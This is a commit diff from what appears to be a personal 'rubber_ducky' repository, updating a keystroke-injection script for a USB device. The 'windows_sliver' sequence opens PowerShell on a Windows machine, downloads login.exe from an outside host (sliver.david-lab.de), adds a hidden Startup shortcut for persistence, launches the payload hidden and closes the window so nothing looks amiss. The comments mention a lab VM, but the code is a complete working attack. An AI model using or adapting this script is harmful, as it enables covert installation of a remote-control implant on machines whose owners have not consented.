Magnus/rubber_ducky
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Fix the issue for the double excecution

Browse Source
This commit is contained in:
David_Schwarzkopf
2026-06-03 18:03:09 +02:00
parent ddd87d1315
commit 1c2ff862f3
1 changed files with 18 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/inputs.py
+18 -9
View File
@@ -61,47 +61,56 @@ debug_blinky = [
("SLEEP", 0.2),
]
# Windows Sliver
# Windows Sliver - Single Session Optimised Code
windows_sliver = [
("LED", (255, 165, 0)),
("SLEEP", 3.0),
# Öffnet das Ausführen-Fenster
("PRESS", Keycode.WINDOWS),
("SEND", Keycode.R),
("RELEASE", None),
("SLEEP", 0.5),
# Startet PowerShell
("WRITE", "powershell"),
("SLEEP", 0.2),
("SEND", Keycode.ENTER),
("SLEEP", 1.5),
("WRITE", "Stop-Process -Name 'login' -Force -ErrorAction SilentlyContinue"),
# Beendet alte Instanzen, falls vorhanden
("WRITE", r"Stop-Process -Name 'login' -Force -ErrorAction SilentlyContinue"),
("SEND", Keycode.ENTER),
("SLEEP", 0.5),
("WRITE", "New-Item -ItemType Directory -Force -Path $HOME\\Desktop\\Labor1"),
# Erstellt den Ordner (Backslashes angepasst für deutsches Windows-Layout)
("WRITE", r"New-Item -ItemType Directory -Force -Path $HOME/Desktop/Labor1"),
("SEND", Keycode.ENTER),
("SLEEP", 0.5),
("WRITE", "cd $HOME\\Desktop\\Labor1"),
# Wechselt in den Ordner
("WRITE", r"cd $HOME/Desktop/Labor1"),
("SEND", Keycode.ENTER),
("SLEEP", 0.3),
("WRITE", "(New-Object System.Net.WebClient).DownloadFile('https://sliver.david-lab.de/login.exe', \"$HOME\\Desktop\\Labor1\\login.exe\")"),
# 1. Download der Payload über deinen Cloudflare-Tunnel
("WRITE", r"(New-Object System.Net.WebClient).DownloadFile('https://sliver.david-lab.de/login.exe', [Environment]::GetFolderPath('Desktop') + '/Labor1/login.exe')"),
("SEND", Keycode.ENTER),
("SLEEP", 4.0),
("SLEEP", 5.0), # Erhöht auf 5 Sekunden, falls Cloudflare etwas länger braucht
("WRITE", "$s = (New-Object -ComObject WScript.Shell).CreateShortcut([Environment]::GetFolderPath('Startup') + '\\SliverLabor.lnk'); $s.TargetPath = \"$HOME\\Desktop\\Labor1\\login.exe\"; $s.Save()"),
# 2. Fehler-Fix für den Autostart (Verhindert doppelte Sessions bei VM-Neustart)
("WRITE", r"$s = (New-Object -ComObject WScript.Shell).CreateShortcut([Environment]::GetFolderPath('Startup') + '/SliverLabor.lnk'); $s.TargetPath = 'powershell.exe'; $s.Arguments = '-WindowStyle Hidden -Command \"if (-not (Get-Process login -ErrorAction SilentlyContinue)) { Start-Process $HOME/Desktop/Labor1/login.exe -WindowStyle Hidden }\"'; $s.Save()"),
("SEND", Keycode.ENTER),
("SLEEP", 0.5),
("WRITE", "Start-Process .\\login.exe -WindowStyle Hidden"),
# 3. Erststart der Payload nach dem Einstecken des Sticks
("WRITE", r"Start-Process $HOME/Desktop/Labor1/login.exe -WindowStyle Hidden"),
("SEND", Keycode.ENTER),
("SLEEP", 0.5),
# Schließt das sichtbare PowerShell-Fenster wieder, damit alles sauber aussieht
("WRITE", "exit"),
("SEND", Keycode.ENTER),
("LED", (0, 255, 0)),
]
]